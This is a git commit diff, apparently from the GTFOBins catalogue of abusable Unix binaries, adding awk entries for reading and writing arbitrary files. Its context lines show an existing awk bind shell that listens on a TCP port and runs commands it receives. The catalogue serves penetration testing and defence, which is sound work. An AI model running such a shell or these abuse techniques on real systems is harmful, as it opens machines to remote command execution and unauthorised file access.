Add awk file-read/write

This commit is contained in:
Andrea Cardaci 2018-05-28 20:11:21 +02:00
parent 898e6cd656
commit 809975ce4c

View File

@ -23,4 +23,13 @@ functions:
s = "/inet/tcp/" LPORT "/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
file-read:
- code: |
LFILE=file_to_read
awk '//' "$LFILE"
file-write:
- code: |
LFILE=file_to_write
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }'
---